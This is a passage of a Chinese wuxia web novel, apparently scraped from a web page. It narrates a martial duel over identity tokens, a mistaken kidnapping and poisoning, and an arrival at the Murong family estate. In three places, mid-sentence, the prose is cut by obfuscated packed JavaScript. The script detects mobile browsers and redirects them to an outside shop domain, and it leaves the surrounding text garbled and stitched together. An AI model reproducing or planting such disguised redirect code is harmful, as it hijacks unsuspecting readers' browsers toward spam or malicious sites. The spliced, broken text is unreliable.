“公然暴露蝎的身份?花辞胡言乱语你也信?不过真没想到还有人应和她这出戏,唐门的唐真与她应战了。” “不知这一场比武谁会获胜。蜀中唐门远离中原,又不爱插手武林事务,江湖许久不见唐门中人了,倒是让人期待唐真这一趟出手。” “我看还是花辞更胜一筹,唐门虽然根基深,但多年来固步自封,暗器功夫较之十年前恐怕也没什么变化。更何况,唐门的人惯用暗器毒药,在这种不能伤人的比试里,唐真定然不能用毒,实力和筹码不就大大削弱了一倍么?” “你的眼光可真高,连唐门在你眼中都成了发展滞后的门派,也不知你出自哪门哪派?” “……这位兄台,我们理性探讨对战输赢,你非要扯到我身上是什么意思?如此激愤,也不知你是唐门哪位爹的孝子呢?” “你,你等着看吧!小爷我还真就赌唐真会赢,到时候你哭着来认爹都没人叫你孙子! …… 比武场,人头攒动。擂台上方的两人还未正式开始对决,底下却已经群情激愤,议论争吵不断。 “啊——”李清双手交叉垫在脑后,打了个哈欠。 虽然身处争吵源头的附近,却丝毫不在意周围人说了什么,他懒洋洋地掀起眼皮看了台上站定的两人,道:“小秋儿,这就是你拉着我非要看的好戏?” 他身旁站着一个矮他半头的少女,容貌娇美,有一双乌溜溜的圆眼睛。闻言她偏头瞪了李清一眼:“都说了别叫我小秋儿,我这么美的名字硬生生被你叫成太监了!” “有什么啦。”李清浑然不在意,伸直手臂拉伸了一下,随后一个手肘搭在了少女的肩上,托着腮毫无诚意道:“好啦,薛秋师妹,小师妹,行了吧?” 虽说站没站相,李清却有一张骨相极佳的脸,轮廓深邃,眼瞳清浅如琥珀。发髻以一根枯竹随意挽住,几缕散发垂落额前,周身透着一股无所谓的懒散气质。 薛秋一脸无奈:“师兄你是不是天生没长骨头呢,怎么走到哪里都是这么一副身体被抽空的样子!该不该让张老给你治一治啊,我总觉得你这样以后会不举呢……” 李清:“……” 他脸色僵硬了一瞬,随后飞快地伸手敲了一下薛秋的额头:“怎么跟你师兄说话呢?你小小年纪跟我扯什么举不举的,不该说的话别说!” “李清!你又打我!回去我就告诉张老!”少女痛叫了一声。 “没大没小,叫师兄。”李清又轻敲了一下少女的额头,“问你话呢,这是在搞什么?闹得你非要把我拉过来。” 薛秋冷哼一声:“就你这懒散的态度,早晚得淘汰。要不是有我在,还不知道你要错过多少消息呢!” “是是是,还得多亏你写了一张榜文,不然你师兄的小金库都没处花呢。”李清微微眯起了眼睛,森然一笑,“一个消息悬赏五百两,你这丫头还真敢开口。” 薛秋立刻就心虚了,眼睛到处乱飘,十分没底气地说:“那不还是为了能快点找到蝎子的消息么?最后受益的不也是你这个令主!再说了,现在还没人上门,你的小金库不还是完完整整的嘛!” 被提到了亏心事,薛秋安分了,乖乖地回应李清先前的问话:“台上那个女子,自称是蝎但不愿意露令牌,另一个人为确认她的身份要与她比武。难道不是一场好戏么?说不定这一场比完,两个人的身份我们都能确定。” 李清瞥她一眼:“输赢都是只会把令牌给对方看,我们怎么确定他们的身份?” 薛秋露出一副‘你懂的’的奸笑:“你想啊,比完之后必然有一方元气大伤,气力尽失,这不就是我们出场的时候了?” “真是师门不幸。”李清叹了一口气,“天师道向来门风清正,什么时候教出了你这种奸诈的小人。师父要是听了,必要将你这小短腿打断。” “不过——”就在薛秋撇起嘴时,李清话锋一转,“师兄倒是很喜欢这种玩法。” “……” “哈哈哈”——两人相视大笑,浑像两只密谋偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仲裁人之一尚未到齐,比试自然不能开始,留下三人在比武场上等待。 林柏直觉比武场上有一种无形的装杯场域,不然何至于花辞和唐真要一言不发地站在上面迎风微笑呢。她感觉花昭再不出现,这两人的脸就要被冷风吹僵了。 好在花昭终于赶到,人尚未落地便传来一阵喊声:“勿怪勿怪,有事情耽搁了,这下两个仲裁人都到场了,比试可以开始了!” 话音未落,便见花昭施展轻功轻落在擂台,咦地一声看向了林柏:“你是那个经常在灌水区里出现的人吧。” 我不是我没有,林柏真想这么说,然而她只能一脸无奈地点了点头。 “哇,想不到你居然和唐真有私交,你人缘还是不错的嘛。”花昭感叹了一声。 林柏:…… “哎——唧唧歪歪说什么呢,仲裁人就要有仲裁人的样子啊,给我好好开始准备比试!”那边唐真不耐烦了,冷着脸冲两人喊道。 “合作愉快。”于是花昭便只来得及向林柏微笑了一下,接着转身面向擂台高声喊道: “比试,开始——” 随着花昭一声令下,台上早已等不及的两人皆在一瞬之间疾步奔向对方,双方距离瞬间拉近。 花辞刀已出鞘,带起一道银色白光,乍然间,森冷刀尖已朝唐真胸口直直砍去。 嘶—— 预料中将要飞溅的鲜血没有溅落,却是唐真于千钧一发之际侧身一避,手中不知何时多了一条银色长鞭,牢牢扣住了身前锋利的刀身! 这时林柏才发现唐真腰间的银色腰带原来是一条软鞭。也许用暗器的人都喜欢把暗器装饰在身上? 台上两人一攻一守,陷入片刻的僵持,唐真一手扯鞭,极力压制花辞欲要转向的腰刀,勾唇一笑:“呵!想不到你出手还挺狠!” “狠”字方落,他左手便抬腕一甩,空中立刻扬起白茫茫一阵粉末。 花辞冷不防此,手劲一松,却叫唐真软鞭一扯,一个踉跄,向前冲出三四步。她心知唐门中人惯会用毒,这恐怕不是一般的粉末,立时屏住呼吸,却仍然未免吸入几口,瞬间感到胸口微微发闷,使力不出——那粉末是软筋散! 好在摄入不多,她潜运内力,疏通筋脉,几瞬便将药力排出。 再一抬眼,瞥见唐真左掌手心向上,赫然是要打出暗器之兆,花辞立刻借着冲力脚尖一点,半空中腰身一弓,人如飞箭,疾射向前,蓦地右脚一抬,狠力踢在唐真手臂上。 那力道之大,肉眼可见,简直让林柏怀疑唐真要变成独臂杨过。 两人拉开距离,花辞握刀在侧,朗声一笑:“唐真少侠莫担心,在下还有更狠的时候!” 说罢便错步上前,刀势一紧,带起一片其疾无比的锐劲,立时便将唐真罩入一片奇诡银光中,数刀砍出,均是只攻不守! 唐真起先还不以为意,料想凭借手中软鞭那霸道的劲力必能将对方的刀身震脱,未曾想对面刀尖每一逼近,刀身总忽然不摇自颤,不仅软鞭无法制衡,那近身的刀尖随刀身颤动化作银星万点,竟叫他无法判断对方刀尖究竟正攻向自己哪一部位。 这种情形下,封守进攻都十分艰难。 不过几个瞬间,唐真身上便已多出七八处刀伤划痕,颇为狼狈。 林柏看得眼花缭乱,丝毫追捕不到花辞出刀的踪迹,颇感惊奇:“这是什么招数?出刀路径竟如此诡谲。” 身旁花昭微微一笑:“这是《昆吾刀诀》第二式,‘狂风’。” 林柏投去好奇的一眼,他继续道:“‘狂风’一式,如同沙暴席卷,迅疾无比却又连绵不绝。一旦身处刀刃所攻的范围内,防守格挡只会变成一句梦话。这一招,花辞使得非常不错。” 林柏了然地一点头,原来是昆吾山庄的家传刀法。 果不其然,唐真逐渐落入下风,身上数十处深深浅浅的血红刀痕。他心神一凛,软鞭一收,脚步急速向后退,退出了花辞所能触及到的攻击范围。 甫一拉开三步距离,他便肘腕突翻,伴随着划破空气的厉声,三枚透骨钉斜斜向花辞刺去。 花辞瞳孔一缩,腰身一挫,就地一个盘旋躲避。尽管反应飞快,仍是闪避不及,一枚透骨钉正正击中她右肩,吃痛一声,花辞周身一颤。 “不好,透骨钉可不是一般暗器。尖端倒刺横生,能扎入骨髓数寸。”花昭脸色不太好看,显然是担心台上中伤的花辞。 林柏眉头微微一皱,倒不是心忧花辞,只是对这两人的比试节奏感到奇怪。——这两人出手之狠厉,丝毫不像是在对招切磋,倒如同生死仇敌一般。为何会如此?仅仅因为想要确认对方的身份么? 又或者只是因为她自己从没见过比武对招,比试规则就是要这样招招致命么? 林柏心中疑惑,终于还是忍不住向花昭发问了:“为何他们二人颇有一种要将对方置于死地的感觉?比武场上大家都这样吗?” 花昭微微一愣,复又恢复常色,道:“大多数人都这样,毕竟是比试,让来让去就没什么好看的了,不是么?更何况,这两人一个比一个傲,会拼尽全力也不奇怪。” 也是,花辞和唐真身上都有一种谁也不服谁的傲气,打得稍微激烈一点应该也正常吧。林柏按下疑惑,继续看向擂台中心。 趁花辞捂肩未曾动弹之时,唐真抓住时机,潜运内力,左手指尖迅速一弹,七枚玄灵念珠便直击花辞命门而去,迅疾如电。 花辞瞳孔收缩,挥刀格挡,连连后退闪避。毕竟受了伤,脚步不如先前稳当,最后一枚念珠袭来之时,她手上已无多少劲力,格挡不及,被那念珠直击腿上穴位,双腿一弯,半跪在了地上。 所有人都没想到的是,花辞这半身一弯,袖口里的令牌竟然掉出来了,顺势滚落在地! “……” 几乎是瞬间,花辞起身错步上前,唐真蓦地向前俯冲,两人的目标都是地上的令牌! 说时迟那时快,红白两道身影飞速错身闪过,两人位置互换,各居一边。待众人看清之时,只见花辞身后红色衣袂飞舞,持刀而立,左手紧紧握着的赫然是一道令牌。 她白皙透明的脸上不知何时溅上了几滴鲜血,艳丽又危险。 花辞捏着令牌在指尖旋转了几圈,有些玩味地笑了:“我还道唐真少侠是什么正人君子呢?原来不过尔尔。” 这是在唾弃自己方才乘人之危夺令牌的行为了。唐真扯了扯被刀划得有些褴褛的衣袖,稍微绑紧以免动作间扯裂伤口,然后微微一笑道:“成王败寇,哪管你那么多是是非非!” “好,受教了!”花辞冷笑,随即突然将手中腰刀向外一扔,“那就按你的意思比完这场吧。” 底下众人见此,心中皆是一惊,好端端地为何要把刀扔掉,对方不讲道义难道不该比对方更不要脸,更加不择手段地出招吗? 李清手肘撑在薛秋肩膀上歪着身子,轻笑道:“她这是在挑衅对方……” 眼见那柄腰刀被扔出了擂台,唐真心神一动,嘴角噙笑,同样手一扬,将银色软鞭一挥,扔在远处。 这下是真的出人意料了。 两人都有负伤,缠斗许久,此时都已是强弩之末,此时此刻,胜负也许就会在下一招决出! 难道在这时候,他们反倒要抛弃武器,纯纯依靠内家功夫比斗了么?简直毫无道理。 林柏拧眉,想不明白这场比试怎么会往这个方向发展。 这回先出手的是唐真,他足尖一点,整个人如同箭矢般离弦而出,右手五指合拢化作掌刃,以一个极其诡异的弧度由后向侧前砍向花辞颈间—— 花辞侧身闪避,踏连环步改变去势,两人再度陷入缠斗。 两人攻势都极为凌厉,一招紧接一招。 数十个来回对招后,底下围观的人渐渐看出门道了——这两人的攻势都集中在对方上身手肘一带,显而易见是在设法夺走对方的令牌,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531301|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再关顾比试输赢。 这场比试性质已然改变,两人不再思考如何放倒对方,而在拼尽全力争夺对方手中的令牌。 “呵。”李清颇有些索然无味,垂下眼眸就要睡着般,语气嘲讽,“台上的两位真称得上一声君子。你说是不是呀,小师妹?” “李清你嘴巴可真够毒的。”薛秋耸了耸肩,李清搭在她肩上的手肘瞬间滑落,连带着人也哎唷一声向前歪。 “我看这样不是很好么,能少走点形式方便我们行动。我可不想看他们给胜方搬个奖牌发表感言之后才收缴令牌。” 李清自然不会稳不住身形,然而在他缓缓直起身子时,恰好有一人从身侧穿过,不避不让地撞了他肩膀一下。 力道不重,却也不轻。 李清抬眼看去,唷,还是个和尚。 这和尚穿着粗布白衣,须发全剃,眉清目秀,淡眉下的双眸漆黑如墨,无波无澜。 薛秋也看见了这和尚,呆了一瞬:“好俊的和尚。” 李清不以为然,学着她语调娇滴滴地喊:“好傲的和尚。” 结果是脸上受了薛秋一掌:“你又发疯!” 和尚并未继续往前走,转身向两人,淡淡地看了一眼正哎唷哎唷喊疼的李清,眼里透出几分不赞许,他道:“你是天师道的李清?鹤组的令主?” 这人光是问话就流露出一股倨傲之气,李清适应不良,道:“是又如何?” 和尚微微颔首,道:“灭度门,封一行。” 李清瞥了他一眼,没什么反应。 封一行继续道:“不妨直接和你说,我是鹤组的人,普通兽类,没有其他特殊身份。既然你是鹤组的令主,我希望接下来你不要擅自行动,所有的猎捕请在我确认后进行,毕竟你的猎捕也关系到我的选拔清算。” 李清笑了,笑得十分凉薄:“怎么你就认定我非得听你的呢?倘若我偏不,你又待如何?” 封一行神色淡然,波澜不惊:“依我行动,方是万全之策。” 他这副世人皆醉唯我独醒的样子真叫李清脸疼,无他,这人这倨傲的模样几乎是瞬间就让他想起了一段并不美好的回忆。 看见他,就好像又重新看见了那个熟悉又陌生的自己,连带着还想起了那阵反胃的滋味。 怎么看怎么难受! 李清真想摇着封一行的肩膀让他醒醒,要不就离自己远点,省得他反胃。 未待他想出什么话刺对方,薛秋突然惊呼一声:“台上的比试要出结果了!” 两人都看向擂台,李清便也顾不上讽刺这人了。 只见擂台上,唐真被放倒在地,似乎周身气力尽失,一脚踩在他背上的花辞同样剧烈喘息着。 虽然两人都很狼狈,但胜负似乎已见分晓。 花辞没有废话,干脆利落伸手向唐真袖口探去。 ——一切都发生在电光石火之间 花辞俯身的瞬间,唐真右脚蓦地一抬,直击对方足踝将其放倒,两人翻滚在地! 飞扬的尘土和红白衣袖交织,混乱中花辞一把扯破唐真衣袖夺走令牌,几瞬之后,一红一白的身影掠过对方,再度拉开距离。 两人相对而立,又回到了比试开局的场景,不过这一次,两人手中都执有一枚令牌! 众人哗然——难不成他们都将对方的令牌夺走了? 花辞和唐真皆是冷然一笑,手握令牌玩味地看着对方: “原来你也是蝎啊。” “原来你真是蝎啊。” 两人同时开口,极为相似的一句话交叠在一起,几乎是瞬间就引燃了全场——台上有两只蝎子?! 不! 绝对不可能!被最初的震惊控制了一秒后林柏回神,倘若两人真的都是蝎,他们最该做的不就是隐藏身份与对方相认么?这样暴露身份成为众矢之的,对双方都没有好处! 谁在说假话? 林柏惊疑不定地看着台上冷冷相对的两人。 13.慕容山庄 林柏瞪圆了眼睛,一会观察左边那个,一会儿端详右边那个,谁也没看出不对劲,两人都是一派坦然镇定的模样。 唯一抓耳挠腮心痒难耐的只有林柏!如果这两人都是在装模做样,那这演技好得实在是有些超过了! 唐真神情平淡:“花辞,胡言乱语也该有个度。” 花辞嘴角噙笑:“我是不是胡言乱语,你应当最清楚。” “呵。”唐真冷笑一声,侧身抬手一扬,干脆利落地将手中的令牌抛回给了花辞,“不玩了,令牌还我。我还有一场硬仗要打呢,懒得继续跟你胡言乱语。” 花辞稳稳当当接过令牌,看他一眼,也将唐真的令牌抛了过去:“你莫不是心虚了?” 唐真一副懒得搭理的样子,转头一脸无所谓地对着台下人道:“爱信不信吧各位,我唐真不奉陪了。” 说罢便起运轻功作势要走,刚要转身却似乎想起了什么,偏头对着林柏道:“送我回五重阁。” 这么理直气壮的语气究竟是为哪般?林柏简直怀疑起了自己的记忆,难道他这一身伤都是我造成的? 她想了想,摇头道:“我有事,送不了。” 林柏倒是十分想乘机从唐真口中打探清楚他与花辞的身份,但她想起待会儿还要赴与慕容泽的约。 唐真啧了一声:“真是一点同情心都没有。哎,怪我遇人不淑,所托非人,走吧,走吧,只好一个人一瘸一拐地走了。” 林柏满脸黑线地看着这人再度露出了那种幽怨的表情,然后目睹这个说自己“一瘸一拐”的人健步如飞地运起轻功消失在了众人面前。 哎,现下人多嘴杂,不好向他打探消息,等下回碰面的时候再仔细问问究竟是怎么一回事。 林柏转身也准备下擂台离开,身旁的花昭却突然拍了拍她的肩膀:“这场比试,输赢该怎么判?”一副忧心忡忡的语气。 林柏:……重点是这个么少年?全场最尊重这场比试的人原来是你吗?仲裁人行业不能没有你。 似乎完全没觉得有什么不对,花昭依旧作沉思状:“唐真在宣布比试结果前离场了,我认为这该算弃权,你认为呢?” 林柏觉得自己已经没有精力和这帮人闹了。她木然地点了点头。 花昭立刻笑了,转身面向各位观众:“我宣布,本轮比试,花辞获胜!” 花辞仍然站在原地,负手而立,拉风的一批。虽然身上红衣沾染不少灰尘,但逼格还在。闻言她微微一笑,手掌伸向前方微微下压,好像在示意众人不要呐喊不要尖叫要低调。 众人:……你们姐弟二人到底把我们当什么了?满足你们角色扮演的群众么?! 擂台下,薛秋拧眉:“李清,你说我们现在去追哪一个人比较好?” 李清不知何时眼睛亮了起来,丝毫没有先前神色恹恹的模样,他笑了一声:“有意思,这倒真是一出好戏。追人的话,还是追先走的那一个好了……” 说着,抬眼看了一眼身旁的封一行,颇有些挑衅的意味。 然而封一行并无反应,似乎先前试图控制李清行动的不是他一般。 李、薛两人随即快步走出人群,施展起轻功。 封一行冷眼看着两人远去的方向,停顿片刻,也向着一个方向去了。 * 被麻袋套住头眼前一黑的时候林柏还以为自己神识苏醒要回到现实世界了。 然而下一秒,一股混合着腐味汗味酸臭味的气味将她从幻想中叫醒了。 这个麻袋到底用过多久啊喂!你们绑架团伙难道没有按时更换作案工具的传统吗!到底是不是专业团队啊请问! 似乎是两个人一前一后抬着她,她牢牢地被绑在麻袋里几乎要窒息,更恐怖是还要忍受行进时一颠一颠的晃动。 林柏忍着想要呕吐的冲动呐喊:“朋友!打个商量成不,放我下来自己走吧!不然还没到地方我就要被熏晕过去了!” 回应她的是一阵阵颠簸起伏,绑匪毫无反应。 林柏实在是想不明白了,花辞和唐真那些极度疑似蝎子的人尚且还未被麻袋套走,她一个低调做人的怎么就被盯上了呢! 她不过是按着和慕容泽的约定来到了四重阁一十六间,结果慕容泽不在里面就算了,居然还有绑匪! 究竟是什么人要绑她?难不成她被慕容泽骗了? 彷佛过了一个世纪,被装在麻袋里的林柏终于感觉自己落到了实地,下一秒,麻袋被扯开,早已被酸臭味熏得头晕眼花地林柏终于呼吸到了新鲜空气,然而大脑仍然有些晕眩。 眼前一黑又一亮,白色光圈在林柏眼里打转,尚未能看清眼前事物。 一只冰凉的手突然摸上了林柏的下巴,捏紧,然后扣着她的脸狠狠向上一抬。 此时林柏终于缓过神来,瞳孔中映出了俯在她跟前的一张俊美妖异的男人的脸。 这人正是与她仅有两面之缘的符平雪。 林柏有些愕然,无论是她还是原主都应该和符平雪没什么牵扯,何至于他要将我绑过来? 符平雪开口了,阴沉沉地:“我让你们带过来的是慕容山庄的慕容泽,这是从哪个犄角旮旯里捡回来的阿猫阿狗?” 林柏:……原来是捉错人了么?就说你们不是专业团队了。 他后方两个黑衣人相视一眼,都意识到自己办错事了,立刻作拱手状单膝下跪,请求责罚。 “呵。”符平雪松开了扼住林柏下巴的手,起身冷冷道:“再去查。若还是没找到慕容泽的下落,就按规矩自去领罚。” 两个黑衣人均道一声是,起身飞快离开了房间。 林柏意识到她从未在六重飞云宫里见过这两个人。这两人大概是符平雪自己的手下。 他手下的人居然能够轻易避开水镜,在六重飞云宫里自由来往么?符平雪究竟是何来历?他寻找慕容泽又有什么目的? 符平雪掀起眼皮,极冷极淡地看了林柏一眼:“说说吧,你和慕容泽是什么关系。” 刹那间林柏心念百转,这人显然来者不善,想要全身而退恐怕得和慕容泽撇清关系才行。 可她又想起了身为狗仔的任务,从符平雪这来者不善的态度来看,他与慕容泽绝非什么友好关系,也许从他口中能试探出慕容泽的黑料…… 念头一起,林柏便脱口而出:“我是慕容泽的情郎。” “……” “不,我是慕容泽的情人。”好像还是哪里不对,林柏想了一下,又道,“我与慕容泽已经私定终身,你找阿泽有什么事吗?” 符平雪笑了,笑得开怀,这摄人心魂的一张脸不觉间使林柏看得有些呆,“这么说,你和慕容泽有着很深很深的牵扯了?” 他人是笑着,眼睛却是冷的,眸中情绪难以捉摸。 林柏莫名打了个冷颤,强装镇定地点了点头。 “也就是说,无论你出了什么事,慕容泽都会拼尽一切,想尽法子去救你么?” 他一边说着,一边复又将左手抚上了林柏的脸,缓缓一寸一寸地移动,惹得林柏浑身寒毛直立,脊背僵硬。 然而戏是自己起头的,硬着头皮也要演下去,林柏眨了眨眼,木然地点了一下头。 “很好。” 符平雪笑容更深,眉梢眼角都带着一股邪气。 林柏还未及反应便感觉抚在脸上那只手蓦地一滑,指尖触过唇舌,将一枚不知是何的丹药塞进了自己口中。刹那间林柏瞪大双眼,不可置信地鼓起嘴巴想要抵抗,那手却紧紧按压住她下颚,力度惊人,丹药不容反抗地被咽进了喉咙。 作恶的手收了回去,林柏俯下身子干咳,天知道这人给自己喂了什么东西,在武侠世界的爆毒率超高的好吗?必须赶紧把这东西弄出来才行。 然而努力了半天,那枚丹药丝毫没有要出来的痕迹,真真实实被吃进胃里了。 “此毒名叫了痴。倘若三日内未服用解药,你便会七窍流血,经脉逆行,伤及脑髓,最后变成一个不会言语,没有意识的痴儿。” 他每说一句,林柏眸子便颤动一下,脸色惨白,“你这人未免太过残忍,我与你分明无冤无仇!” “残忍?会么?”符平雪眸色深沉,嘴角噙笑,“你是与我毫无干系,可你不是慕容泽的情人吗?你猜,他若得知你中此毒,会不会拼尽一切来救你呢?” 当然不会呐,因为一切都是我瞎编的。林柏简直欲哭无泪,黑料没挖到,倒是把自己的小命赔进去了,谁能比她更衰! 这时,先前的黑衣人中的一人快步走了进来,附到符平雪耳边低声说了什么。 那人说完之后,符平雪微微眯起眼,对着林柏近乎温柔道:“走,我们去见一见你的好情郎。” 林柏又打了个冷颤,她现在一见到这人笑就浑身发毛。 * 被符平雪拎着脖子一路来到白玉阶梯时林柏才猛然发觉这人是要离开六重飞云宫。 “你疯了?”她惊呼道,“选拔期间离开六重飞云宫是会直接被淘汰的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535215|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别乱动。”符平雪按住试图挣扎的林柏,威胁意味十足,“恐怕只有像你这样的废物会忧心这种事。” 林柏:……这个江湖处处都是有武功歧视的人。 这人一路施展轻功飞速向前,一只手扣着林柏的脖子带着她。林柏的支撑点本就少,这人的轻功又堪比御剑飞行,好几次她都差点要吐出来。 终于落地时,符平雪一把松开林柏,干脆利落,似乎极为嫌弃,这时候也不担心林柏逃跑了。 林柏捂着心口平复心跳,端详起四周景象来,发现自己身处一座宅院里。 回想起先前这人先前的话,林柏不由得怀疑起来,难道这里是慕容山庄? 符平雪没有为她解惑的意思,自顾自向着前方走了。眼下这情况,林柏不跟着他似乎也不行了,便只好咬牙跟了上去。 此时天色渐黑,四周景物都笼罩在一片昏暗中,宅院里长廊上一个个灯笼被点亮着,时不时有几个家丁从远处急急穿过,居然也未曾注意到符、林两个不速之客。 山庄内,似乎并不平静。 符平雪脚步飞快,林柏接连受惊,气力尽失,跟他不上,“喂,你究竟要走到哪里去?” 才刚问出口,前面那人脚步便停了,倒叫林柏直直撞上了他后背,闻到了一股清冽又苦涩如药的气味。 这人突然停下来也不说一声。林柏摸着额头从他身后走出,向前看了一眼,立刻睁大了眼睛。 前方长廊尽头站着的正是一身青衣的慕容泽,他眉头紧锁,目光已看向符、林二人,嘴上却还在和身旁的家丁说着什么。 “好了,你去吧。” 说完这句,遣走了家丁,他便向着两人走来。 他神色淡漠,眼中有难以掩饰的疲惫,似是累极了。 “林柏,你为何会出现在这里?” 林柏勉强扯出一个笑,心道我自己都不知道我为什么会在这里。她指了指身旁的符平雪,道:“你可能要问他。” 慕容泽定定地看了林柏一眼,目光转向符平雪:“符公子,我似乎不记得和你有过什么交情,能让你一路追到慕容山庄来。” “倘若你还希望我旁边这个人活命的话,将你们山庄抑制血蛊的药给我。”符平雪的耐心有些告罄,冷眼看着慕容泽。 “抑制血蛊的药?”慕容泽拧眉,“你既非慕容氏,也没有患血蛊,你要这药作甚?” 血蛊?林柏想起先前游小竹似乎和自己提过一嘴,这是慕容家族的人所患的一种遗传性疾病,病症本身无法根治,只能靠药物抑制发作。 对身患血蛊的人来说,这药的确很重要,但对于常人来说,这药与废物无异。符平雪为何要如此煞费苦心地寻找这药? 符平雪冷笑一声:“少管闲事才能活得更久,你难道不明白这道理?” 慕容泽也笑了:“若是如此,这药便不能给你。” 符平雪道:“你连心上人的命都不要了?” 闻言,慕容泽眼神在符、林两人身上转了转,似乎明白符平雪是误会了什么,嘴角噙起一抹玩味的笑,若有所思地看了林柏一眼。 林柏破天荒地闹了个脸红,她怎么也没想到这一回胡言乱语直接舞到正主面前了。 慕容泽轻笑了一声:“你是在威胁我么?” 符平雪并不言语,周身一股煞气。 林柏只觉得自己被夹在中间,小命不保。哪怕抑制血蛊的药对慕容家族来说并不珍稀,林柏也不认为慕容泽会为了她这个只见过一面的人和符平雪妥协。 慕容泽沉思了几瞬,道:“药,可以给你。但你必须应允我一个条件。” 林柏闻言诧异地看了一眼慕容泽,突然觉得自己还能拯救一下。 符平雪右手轻轻握住腰间黑剑的剑柄,语气危险:“是什么让你觉得可以和我谈条件?” 慕容泽淡定自若,毫不相让:“你可以拒绝,而我也不会交出药。当然,你可以靠其他的法子夺药。你可以夺走这姑娘的命,甚至也能轻易杀了我,在慕容山庄大闹一场,人挡杀人,佛挡杀佛,夺走抑制血蛊的药。” “可你也要想想,现在正处在武林新星大会开展的风口,如此招摇行事真的合适么?” 符平雪牵动了一下嘴角:“你在威胁我?” “是。”慕容泽坦荡无比地应了。 无视符平雪幽深的眼神,慕容泽手指按压了一下鼻梁,有些疲惫地笑了一下道:“你大可以放心,这条件对你来说不会是什么难事。” 14.蛊虫 “泽?” 一道声音打破了三人僵持的局面,林柏循声看去,只见长廊前走来一个男子。 这人看上去年约四旬上下,身材瘦弱,长相沉鸷,眉梢眼角是掩不住的阴郁之色。 男子淡淡扫了三人一眼,向着慕容泽问道:“你在这做什么?” “叔父。”慕容泽微微颔首,声线有些紧,“没什么,六重飞云宫的同窗寻我不见,找到山庄来了。” 他叫这人叔父,难道这人就是慕容山庄庄主那个身患血蛊的胞弟?林柏依稀记得,这人该是叫慕容锐。 在慕容锐之前,慕容家族已有两代未有人患血蛊,然而这一记录随着慕容锐的出生断了。 虽然慕容锐与如今的庄主慕容泽是一母同胞,两人的命运却截然不同。 江湖传言,在慕容锐少时,族内的人为避免不祥之兆,将身患血蛊的他一人单独送到山庄里远离主屋的偏院居住,不与他来往,直到慕容锐娶妻,慕容光正式成为庄主后才将他接回来。 身患血蛊之人,情绪稍有波动,心脉便会如同被蛊虫啃食一般剧痛,导致咳血、体衰,绝无习武的可能。 怪道这人身形如此瘦削,脸色如此苍白,林柏了然。 “我是问,你还留在山庄里做什么。”慕容锐声音平静,“我方才便说过了,这件事你不用再管。你现在就走,回你的六重飞云宫,家里的事不用你操心。” “我怎么能不管?”慕容泽的声音一下子变得有些激动。 慕容锐看着他,突然一笑,那笑容极淡极浅,“是啊,你怎么能不管。你的好叔父一丝内力也无,一招武功也不会,不过就是一个废物。倘若你不插手,我就什么都做不成了是不是。” “我不是这个意思……”慕容泽低下了头,神色疲惫。 “别忘记自己是谁。”留下这一句莫名的话,慕容锐振袖离去。 林柏在旁边,极为清楚地看见了这句话落下时慕容泽剧烈收缩的瞳孔,说不清是痛意多一些还是落寞多一些。 察觉到她的目光,慕容泽抬眼,苦笑了一下:“让你见笑了。” 身旁的符平雪突然伸手推开了林柏,走到慕容泽面前,冷声问道:“苦情戏演够了么?” 慕容泽看着他,恢复常色:“我知你是叶天弦的徒弟。” “叶天弦”三字说出口的瞬间,林柏敏锐地察觉到符平雪脸色一沉。 “你若再在我面前提这个名字,我很难保证我的剑不会架到你脖子上。”符平雪眼中闪过一道厉色。 这似乎是这人第一次如此清晰地表现出了不悦、甚至可以说是愤怒的情绪。林柏疑惑了,叶天弦是何人?如果真如慕容泽所言,叶天弦是符平雪的师父,他又何至于情绪激动如此? 慕容泽道:“何必如此激动。提他,不过是想告诉你,我知你有一手高超的医术罢了。我提的条件,就是让你替我救一个人。” 符平雪眼底思绪翻了翻,冷哼一声:“比起医活人,我更擅长毒死人。” “猜得到。”慕容泽看着他,“但还请你收一收神通,我只需要你救人。” “我要你救的人,是慕容山庄的庄主,我的…父亲。” * 慕容山庄家大业大,宅院里四处都是面积巨大的假山、流水、亭台。 尽管赏心悦目,行进却成了件麻烦事。 三人一路走来,已经拐过好几个弯,穿过好几条长廊,却仍未至主宅。符、林二人走在慕容泽身后,听他说着话。 “父亲在三年前患上这个古怪的病症,发病征兆与血蛊极为相似,可又偏偏不是。” “庄主负病不便外传,多年来我们暗中寻访过许多医师,可莫说医治,就连这究竟是何病都没人能看出来。最后不了了之,父亲只能继续与那间或发作的病魔共处。在外他也甚少动武出手,避免病症发作被他人察觉。发作了就忍着,未发作便与常人无异,三年便也就这么撑过来了。” 前方是拐角,慕容泽缓缓走向右边,停顿了一瞬,复又继续道: “可就在今日,两个时辰前,父亲病症前所未有的变得更加严重了,吐血,经脉逆行,晕过去直到现在也没转醒。” 他的声音是压着悲伤的平静。 “到了。”他停下脚步。 